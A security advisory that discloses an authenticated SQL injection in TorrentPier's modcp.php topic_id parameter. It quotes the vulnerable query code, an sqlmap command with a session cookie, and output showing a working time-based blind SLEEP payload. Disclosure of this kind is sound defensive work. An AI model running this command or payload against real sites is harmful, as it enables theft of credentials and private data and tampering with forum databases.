Summary

An authenticated SQL injection vulnerability exists in the moderator control panel (modcp.php). Users with moderator permissions can exploit this vulnerability by supplying a malicious topic_id (t) parameter. This allows an authenticated moderator to execute arbitrary SQL queries, leading to the potential disclosure, modification, or deletion of any data in the database.

Details

The vulnerability is triggered when modcp.php processes a request that includes a topic_id (t parameter). The value of $topic_id is taken directly from user input and is not sanitized or parameterized before being concatenated into an SQL query.

This occurs within the initial data retrieval block for a given topic ID.

Vulnerable Code Block in modcp.php (lines 111-122):

if ($topic_id) {
    $sql = "
		SELECT
			f.forum_id, f.forum_name, f.forum_topics, f.self_moderated,
			t.topic_first_post_id, t.topic_poster
		FROM " . BB_TOPICS . " t, " . BB_FORUMS . " f
		WHERE t.topic_id = $topic_id
			AND f.forum_id = t.forum_id
		LIMIT 1
	";

    if (!$topic_row = DB()->fetch_row($sql)) {
        bb_die($lang['INVALID_TOPIC_ID_DB']);
    }
    // ...
}

In the WHERE t.topic_id = $topic_id clause, the $topic_id variable is directly embedded into the query string. An attacker can inject SQL syntax (e.g., boolean logic, time-based functions) into the t parameter to manipulate the query's execution.

PoC

This is a time-based blind SQL injection vulnerability that requires moderator privileges.

Prerequisites:

1. A running instance of TorrentPier.
2. An account with moderator permissions.

Steps to Reproduce:

1. Log in as a moderator.
2. Obtain the full session cookie string from the browser's developer tools.
3. Use sqlmap to automate the exploitation. The tool will test the t parameter for vulnerabilities.

sqlmap Command:
(Note: Replace https://localhost with the target URL and "your_full_cookie_string" with the actual cookie data from the browser session, e.g., "key1=value1; key2=value2").

sqlmap -u "https://localhost/modcp.php?mode=lock&t=1" -p t --cookie "your_full_cookie_string" --dbms mysql --technique T --current-db

sqlmap Output Confirmation:
The following output from sqlmap confirms successful exploitation:

---
Parameter: t (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: mode=lock&t=1 AND (SELECT 9461 FROM (SELECT(SLEEP(5)))KxhM)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetching current database
[INFO] retrieved: torrentpier
current database: 'torrentpier'

Impact

This is an authenticated SQL Injection vulnerability. Although it requires moderator privileges, it is still severe. A malicious or compromised moderator account can leverage this vulnerability to:

• Read sensitive data: Extract any information from the database, including user credentials (password hashes), private messages, email addresses, and other private data.
• Modify data: Alter records in the database, such as elevating their own or other users' privileges to administrator level.
• Delete data: Corrupt or destroy forum data by dropping tables or deleting records.

References

• GHSA-4rwr-8c3m-55f6
• torrentpier/torrentpier@6a0f649